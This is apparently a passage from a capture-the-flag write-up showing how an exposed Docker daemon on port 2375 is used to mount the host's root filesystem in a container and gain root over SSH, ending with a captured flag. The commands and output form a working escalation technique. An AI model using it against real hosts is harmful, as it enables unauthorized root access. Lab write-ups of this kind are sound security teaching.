Scanning with nmap reveals that the host is exposing the Docker daemon on port
2375/tcp. Connecting and interacting with it is possible:
123456789101112131415161718
#export DOCKER_HOST=tcp://172.19.0.108:2375
# docker version
Client: Version: 17.05.0-ce API version: 1.29 Go version: go1.8.1 Git commit: v17.05.0-ce Built: Tue May 16 10:10:15 2017 OS/Arch: linux/amd64Server: Version: 17.06.0-ce API version: 1.30 (minimum version 1.12) Go version: go1.8.3 Git commit: 02c1d87 Built: Fri Jun 23 21:17:13 2017 OS/Arch: linux/amd64 Experimental: false
Having direct access to the daemon is a big no-no. This gives the ability to
execute any commands on the remote daemon, like creating a new container and
taking advantage of the shared filesystem (-v) functionality, by bind-mounting
the host root directory and having access to all of its files:
1234567891011121314151617181920212223242526
# docker run -v /:/srv -it --rm wordpress:latest bash
root@23890602df34:/var/www/html# ls -l /srv
total 80drwxr-xr-x 2 root root 4096 Aug 16 17:04 bindrwxr-xr-x 3 root root 4096 Aug 22 14:11 bootdrwxr-xr-x 14 root root 4080 Nov 1 10:26 devdrwxr-xr-x 90 root root 4096 Nov 1 10:26 etc-r-------- 1 root root 414 Aug 21 20:30 flag_3drwxr-xr-x 4 root root 4096 Aug 16 05:56 homelrwxrwxrwx 1 root root 34 Aug 16 08:30 initrd.img -> boot/initrd.img-3.13.0-128-genericdrwxr-xr-x 21 root root 4096 Aug 16 06:36 libdrwxr-xr-x 2 root root 4096 Aug 16 06:36 lib64drwx------ 2 root root 16384 Aug 14 08:02 lost+founddrwxr-xr-x 3 root root 4096 Aug 14 08:03 mediadrwxr-xr-x 2 root root 4096 Apr 10 2014 mntdrwxr-xr-x 2 root root 4096 Apr 16 2014 optdr-xr-xr-x 108 root root 0 Nov 1 10:26 procdrwx------ 4 root root 4096 Aug 22 14:19 rootdrwxr-xr-x 19 root root 700 Nov 1 10:26 rundrwxr-xr-x 2 root root 4096 Aug 16 17:04 sbindrwxr-xr-x 2 root root 4096 Apr 16 2014 srvdr-xr-xr-x 13 root root 0 Nov 1 10:26 sysdrwxrwxrwt 2 root root 4096 Nov 1 10:30 tmpdrwxr-xr-x 10 root root 4096 Aug 14 08:02 usrdrwxr-xr-x 12 root root 4096 Aug 14 08:12 varlrwxrwxrwx 1 root root 31 Aug 16 08:30 vmlinuz -> boot/vmlinuz-3.13.0-128-generic
Since when running nmap revealed that the host is also making use of SSH, having
the host root directory mapped, it’s only a matter of generating a key and
logging in to get root on the compromised host:
1234
root@vulndocker:~# id
uid=0(root) gid=0(root) groups=0(root)root@vulndocker:/# head -n1 /flag_3
d867a73c70770e73b65e6949dd074285dfdee80a8db333a7528390f6